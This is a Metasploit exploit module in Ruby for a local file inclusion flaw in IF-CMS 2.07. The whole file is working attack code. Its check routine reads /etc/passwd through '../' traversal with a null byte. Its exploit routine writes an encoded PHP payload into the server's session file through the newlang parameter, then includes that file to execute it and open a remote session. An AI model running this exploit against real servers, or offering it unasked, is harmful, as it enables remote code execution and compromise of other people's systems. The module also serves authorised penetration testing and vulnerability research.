##
# $Id: if-cms.rb 2011-03-15 20:28:10 tecr0c $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
# -*- coding: utf-8 -*-
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ManualRanking
 
    PHPSESSID_REGEX = /(?:^|;?)PHPSESSID=(\w+)(?:;|$)/
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'IF-CMS',
            'Description' => %q{
                    Local File Inclusion vulnerability within IF-CMS 2.07 which allows
                    remote attackers to include and execute arbitrary local files via a ../ at the newlang
                    parameter within the index.php page.
            },
            'Author'      => ['TecR0c'],
            'License'     => BSD_LICENSE,
            'Version'     => '$Revision: $',
            'References'  =>
                [
                    ['URL'     => 'http://sourceforge.net/projects/if-cms/'],
                ],
            'Payload'     =>
                {
                    # max header length for Apache (8190),
                    # http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
                    # minus 23 for good luck (and extra spacing)
                    'Space'       => 8190 - 23,
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'ConnectionType' => 'find',
                        },
                    'BadChars'    => "'\"`"  # quotes are escaped by PHP's magic_quotes_gpc in a default install
                },
            'Targets'        => [['If-CMS 2.07', {}]],
            'DefaultTarget'  => 0,
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'DisclosureDate' => 'March 15 2011'
        ))
 
        register_options(
            [
                OptString.new('URI',  [true, 'PHP file contains the vulnerable parameter', '/index.php']),
                OptString.new('PATH', [true, 'Path where the php is stored', 'var/lib/php5/sess_!SESSIONID!']),
            ], self.class)
    end
 
    def check
        urltotest = datastore['URI'] + "?newlang=" + ("../" * 8) + "etc/passwd%00"
        target_code = 200
 
        print_status "Attempting to POST to #{urltotest}"
        response = send_request_cgi({'uri' => urltotest, 'method' => 'GET'})
 
        unless defined? response
            print_error 'Server did not respond to HTTP GET request'
            return Exploit::CheckCode::Safe
        end
 
        code = response.code
 
        unless code == target_code
            print_error "Expected HTTP code #{target_code}, but got #{code}."
            return Exploit::CheckCode::Safe
        end
 
        print_status "We received the expected HTTP code #{target_code}"
 
        # We will need the cookie PHPSESSID to continue
        cookies = response.headers['Set-Cookie']
 
        # Make sure cookies were set
        if defined? cookies and cookies =~ PHPSESSID_REGEX
            print_status "We successfully sent a PHPSESSID of '#{$1}'"
        else
            print_error 'The server did not send us the cookie we were looking for'
            return Exploit::CheckCode::Safe
        end
 
        # Check to see loca file inclusion is possible
        if response.body =~ /root/
            print_status "We were successfully able to validate gp_magic_quotes = Off"
            return Exploit::CheckCode::Vulnerable
        else
            print_error 'The webserver seems to have gp_magic_quotes On'
            return Exploit::CheckCode::Safe
        end
 
    end
 
    def exploit
        uri = datastore['URI']
        # Prepare PHP file contents
        encoded_php_file = Rex::Text.uri_encode("<?php #{payload.encoded} ?>")
        urlpayload = datastore['URI'] + "?newlang=#{encoded_php_file}%00"
 
        # Deliver the payload
        print_status('Writing malicious payload to the remote server')
        delivery_response = send_request_cgi({'uri' => urlpayload})
 
        cookie = delivery_response.headers['Set-Cookie']
 
        # Make sure cookie is set
        if defined? cookie and cookie =~ PHPSESSID_REGEX
            print_status "file containing payload is 'sess_#{$1}'"
        else
            print_error 'The server did not send us the cookie we were looking for'
            return Exploit::CheckCode::Safe
        end
 
        # Make sure cookies were set
        if cookie.nil?
            raise RuntimeError, 'The server did not set any cookies'
        end
 
        # Contents of PHPSESSID. About to be set.
        session_id = nil
 
        # Retrieve the session id from PHPSESSID
        if cookie =~ PHPSESSID_REGEX
            session_id = $1
        else
            raise RuntimeError, 'The cookie PHPSESSID was not set.'
        end
 
        # The call should return HTTP code 200
        if delivery_response.code != 200
            raise RuntimeError, "Server returned unexpected HTTP code #{delivery_response.code}"
        end
 
        # Prepare the value that will execute our payload
        detonation = datastore['PATH'].sub('!SESSIONID!', session_id)
 
        # Small delay as we're just going to assume we succeeded.
        urlsession = datastore['URI'] + "?newlang=" + ("../" * 8) + "#{detonation}%00"
        send_request_cgi({'uri' => urlsession,'method' => 'GET'}, 0.01)
        handler
    end
end